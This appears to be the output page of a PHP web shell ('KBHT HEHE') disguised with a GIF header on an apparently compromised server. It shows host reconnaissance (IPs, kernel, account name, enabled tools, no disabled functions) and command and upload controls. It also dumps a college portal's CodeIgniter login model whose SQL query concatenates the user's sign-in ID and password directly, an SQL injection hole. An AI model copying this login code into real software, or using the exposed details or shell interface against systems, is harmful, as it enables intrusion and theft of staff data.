GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.142.201.93
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/UserAuthenticator.php
<?php

/**
 * Model For Handling All DB Operations Related To User Authentication
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class UserAuthenticator extends CI_Model {

    function __construct() {
        parent::__construct();
        $this->load->library("user_agent");
        $this->load->model("admin/AccessLog");
        $this->load->model("admin/MenuManagement");
    }

    function authLogin($signinId, $password) {
        $sql = "SELECT TLD.tld_id,TLD.tld_signinid, TLD.tld_is_head,TLD.tld_login_status, TPRFL.tprfl_id,TPRFL.tprfl_firstname, TPRFL.tprfl_lastname,"
                . "TPRFL.tprfl_gender,TPRFL.tprfl_mobile_no,TPRFL.tprfl_email,TPRFL.tprfl_dob,TLD.tld_is_first_login,"
                . "SMEMBER.smember_id,SMEMBER.role_id, TRM.role_name,TRM.role_code, TDM.desig_name,TSBM.branch_id,"
                . "TSBM.branch_name,TSBM.branch_short_name,TSBM.branch_email,TSBM.branch_website_url,TSBM.branch_tel_no,"
                . "TSBM.branch_fax,TSBM.branch_mobile_no,TDEPM.dept_id, TDEPM.dept_name,TSDEPM.sub_dept_name, "
                . "TDDI.tddi_doc_file_path from tbl_logindetails TLD, tbl_profile TPRFL,tbl_staff_members SMEMBER, "
                . "tbl_role_master TRM, tbl_designation_master TDM, tbl_sms_branch_master TSBM, tbl_department_master TDEPM, "
                . "tbl_sub_departments_master TSDEPM, tbl_document_document_info TDDI where TLD.tld_signinid='" . $signinId . "' and "
                . "TLD.tld_password='" . $password . "' and TLD.tld_working_status != 'L' and SMEMBER.tprfl_id = TPRFL.tprfl_id and "
                . "SMEMBER.tld_id = TLD.tld_id and SMEMBER.role_id = TRM.role_id and TPRFL.desig_id = TDM.desig_id and "
                . "TLD.branch_id = TSBM.branch_id and TLD.sub_dept_id = TSDEPM.sub_dept_id and TSDEPM.dept_id = TDEPM.dept_id"
                . " and SMEMBER.smember_id = TDDI.tddi_mapping_id and (TDDI.tddi_doc_id = '1' OR TDDI.tddi_code = '001')";
        $query = $this->db->query($sql);
        if ($query->num_rows() == 1) {
            $empInfo = $query->result()[0];
            if ($empInfo->tld_login_status == 'T') {
                foreach ($query->result() as $rows) {
                    $access_id = $this->AccessLog->createAccessLog($rows->smember_id, 'T', $this->input->ip_address(), "Browser:" . $this->agent->browser() . "--Version:" . $this->agent->version() . "--Mobile:" . $this->agent->mobile() . "--Platform:" . $this->agent->platform());
                    /* Making Allotted Menus And Sub-Menus Data */
                    $menuData = array();
                    $slugArray = array();
                    $assignedMainMenusInfo = $this->MenuManagement->getAllAssignedMainMenusByStaffMemeberId($rows->smember_id)->result();
                    for ($i = 0; $i < sizeof($assignedMainMenusInfo); $i++) {
                        $subMenuData = array();
                        $subMenuInfo = $this->MenuManagement->getAllAssignedSubMenusBy($assignedMainMenusInfo[$i]->group_id, $rows->smember_id)->result();
                        if (sizeof($subMenuInfo)) {
                            for ($j = 0; $j < sizeof($subMenuInfo); $j++) {
                                array_push($subMenuData, array(
                                    'sub_menu_available' => 1,
                                    'sub_menu_id' => $subMenuInfo[$j]->oprtn_id,
                                    'sub_menu_name' => stripslashes($subMenuInfo[$j]->oprtn_name),
                                    'sub_menu_title' => stripslashes($subMenuInfo[$j]->oprtn_title),
                                    'sub_menu_tooltip' => stripslashes($subMenuInfo[$j]->oprtn_tooltip),
                                    'sub_menu_slug_url' => $subMenuInfo[$j]->oprtn_slug_url,
                                    'is_hidden' => $subMenuInfo[$j]->oprtn_hidden_status
                                ));
                                array_push($slugArray, $subMenuInfo[$j]->oprtn_slug_url);
                            }
                        } else {
                            array_push($subMenuData, array(
                                'sub_menu_available' => 0,
                                'sub_menu_id' => '',
                                'sub_menu_name' => '',
                                'sub_menu_title' => '',
                                'sub_menu_tooltip' => '',
                                'sub_menu_slug_url' => '',
                                'is_hidden' => ''
                            ));
                        }
                        $isIsolatedMainMenu = 1;
                        if ($assignedMainMenusInfo[$i]->group_slug_url == "NA" || $assignedMainMenusInfo[$i]->group_slug_url == NULL) {
                            $isIsolatedMainMenu = 0;
                        }
                        array_push($menuData, array(
                            'main_menu_id' => $assignedMainMenusInfo[$i]->group_id,
                            'main_menu_name' => stripslashes($assignedMainMenusInfo[$i]->main_menu_name),
                            'main_menu_title' => stripslashes($assignedMainMenusInfo[$i]->group_title),
                            'main_menu_tooltip' => stripslashes($assignedMainMenusInfo[$i]->group_tooltip),
                            'main_menu_icon_class' => $assignedMainMenusInfo[$i]->group_icon,
                            'main_menu_slug_url' => $assignedMainMenusInfo[$i]->group_slug_url,
                            'is_isolated_main_menu' => $isIsolatedMainMenu,
                            'sub_menu_data' => $subMenuData
                        ));
                        array_push($slugArray, $assignedMainMenusInfo[$i]->group_slug_url);
                    }
                    /* Making Allotted Menus And Sub-Menus Data */
                    $admindata = array(
                        'login_detail_id' => $rows->tld_id,
                        'login_signin_id' => $rows->tld_signinid,
                        'is_head' => $rows->tld_is_head,
                        'is_first_login' => $rows->tld_is_first_login,
                        'profile_id' => $rows->tprfl_id,
                        'first_name' => $rows->tprfl_firstname,
                        'last_name' => $rows->tprfl_lastname,
                        'gender' => $rows->tprfl_gender,
                        'email' => $rows->tprfl_email,
                        'mobile' => $rows->tprfl_mobile_no,
                        'dob' => $rows->tprfl_dob,
                        'smember_id' => $rows->smember_id,
                        'role' => $rows->role_name,
                        'role_id' => $rows->role_id,
                        'role_code' => $rows->role_code,
                        'designation' => $rows->desig_name,
                        'branch_id' => $rows->branch_id,
                        'branch_name' => $rows->branch_name,
                        'branch_short_name' => $rows->branch_short_name,
                        'branch_email' => $rows->branch_email,
                        'branch_mobile' => $rows->branch_mobile_no,
                        'branch_tel' => $rows->branch_tel_no,
                        'branch_fax' => $rows->branch_fax,
                        'branch_website' => $rows->branch_website_url,
                        'dept_id' => $rows->dept_id,
                        'dept_name' => $rows->dept_name,
                        'sub_dept_name' => $rows->sub_dept_name,
                        'image' => $rows->tddi_doc_file_path,
                        'access_grant_id' => $access_id,
                        'logged_in' => TRUE
                    );
                }
                $this->session->set_userdata("adminData", $admindata);
                $this->session->set_userdata("menuData", $menuData);
                $this->session->set_userdata("slugData", $slugArray);
                return 1;
            } else {
                return 'Your Login Is Temporarily Blocked.';
            }
        } else {
            return 0;
        }
    }

    function authLogout() {
        $this->AccessLog->updateAccessLog($this->session->userdata("adminData")['access_grant_id'], 'F');
        $this->session->sess_destroy();
        $this->session->set_userdata("adminData", array('logged_in' => FALSE));
        $this->session->set_userdata("menuData", "");
        $this->session->set_userdata("slugData", "");
        return true;
    }

    function authenticateUserByLoginIdAndPassword($tld_id, $encryptedPassword) {
        $this->db->select("*");
        $this->db->from('tbl_logindetails');
        $this->db->where('tld_id', $tld_id);
        $this->db->where('tld_password', $encryptedPassword);
        $query = $this->db->get();
        if (sizeof($query->result()) == 1) {
            return true;
        } else {
            return false;
        }
    }

    function updateNewPassword($passwordUpdateData) {
        $this->db->where('tld_id', $passwordUpdateData['tld_id']);
        $this->db->update('tbl_logindetails', $passwordUpdateData);
        return true;
    }

}

KBHT - 2023